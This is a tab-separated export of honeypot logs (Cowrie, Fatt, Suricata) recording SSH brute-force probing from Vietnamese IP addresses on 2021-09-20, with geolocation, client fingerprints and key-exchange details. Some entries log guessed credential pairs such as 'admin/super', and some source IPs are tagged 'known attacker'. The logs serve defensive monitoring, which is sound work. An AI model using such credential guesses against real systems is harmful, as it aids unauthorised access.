21280	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:42.687883+03	2021-09-20 14:15:03.460613+03	{"_id": "qQbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [testing/testing] failed", "session": "5eaa8a641966", "@version": "1", "password": "testing", "username": "testing", "timestamp": "2021-09-20T11:06:42.687883Z", "@timestamp": "2021-09-20T11:06:42.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21281	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:42.91801+03	2021-09-20 14:15:03.462613+03	{"_id": "qgbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "adaa76d4211a", "@version": "1", "duration": 2.3023335933685303, "timestamp": "2021-09-20T11:06:42.918010Z", "@timestamp": "2021-09-20T11:06:42.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21282	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:42.668033+03	2021-09-20 14:15:03.463613+03	{"_id": "vwbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58206, "timestamp": "2021-09-20T11:06:42.668033", "@timestamp": "2021-09-20T11:06:42.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21283	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:42.478009+03	2021-09-20 14:15:03.464612+03	{"_id": "wAbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/super] failed", "session": "a73b813d6920", "@version": "1", "password": "super", "username": "admin", "timestamp": "2021-09-20T11:06:42.478009Z", "@timestamp": "2021-09-20T11:06:42.478Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21284	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:42.523442+03	2021-09-20 14:15:03.465612+03	{"_id": "wQbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c32c6a88cee8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:42.523442Z", "@timestamp": "2021-09-20T11:06:42.523Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21285	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:43.12726+03	2021-09-20 14:15:03.467612+03	{"_id": "2gbjAnwBvYTbRNuEAQGn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 229838384442949, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39244, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.127260Z", "@timestamp": "2021-09-20T11:06:43.127Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21286	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:43.57236+03	2021-09-20 14:15:03.468613+03	{"_id": "2QbjAnwBvYTbRNuEAQGm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 698614737484098, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40604, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.572360Z", "@timestamp": "2021-09-20T11:06:43.572Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21287	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:43.765281+03	2021-09-20 14:15:03.469613+03	{"_id": "7wbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:36860 (192.168.176.2:22) [session: fe60ecd931c5]", "session": "fe60ecd931c5", "@version": "1", "protocol": "ssh", "src_port": 36860, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.765281Z", "@timestamp": "2021-09-20T11:06:43.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21288	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:43.191139+03	2021-09-20 14:15:03.470612+03	{"_id": "_wbjAnwBvYTbRNuEAwEI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:51860 (192.168.176.2:22) [session: 9364a00340ee]", "session": "9364a00340ee", "@version": "1", "protocol": "ssh", "src_port": 51860, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.191139Z", "@timestamp": "2021-09-20T11:06:43.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21289	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:43.388535+03	2021-09-20 14:15:03.471612+03	{"_id": "8gbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a247dfb3bbe2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:43.388535Z", "@timestamp": "2021-09-20T11:06:43.388Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21290	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:42.890706+03	2021-09-20 14:15:03.472614+03	{"_id": "AgbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36564, "dest_port": 22, "timestamp": "2021-09-20T11:06:42.890706", "@timestamp": "2021-09-20T11:06:42.890Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21291	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:42.999139+03	2021-09-20 14:15:03.474613+03	{"_id": "AwbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49672, "timestamp": "2021-09-20T11:06:42.999139", "@timestamp": "2021-09-20T11:06:42.999Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21292	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:43.573508+03	2021-09-20 14:15:03.475614+03	{"_id": "9AbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a247dfb3bbe2", "@version": "1", "timestamp": "2021-09-20T11:06:43.573508Z", "@timestamp": "2021-09-20T11:06:43.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21293	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:43.586919+03	2021-09-20 14:15:03.476613+03	{"_id": "9QbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "536231a66d87", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:43.586919Z", "@timestamp": "2021-09-20T11:06:43.586Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21313	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:37.231909+03	2021-09-20 14:15:03.503612+03	{"_id": "qQbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "965c39e184d7", "@version": "1", "duration": 3.113321304321289, "timestamp": "2021-09-20T11:06:37.231909Z", "@timestamp": "2021-09-20T11:06:37.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
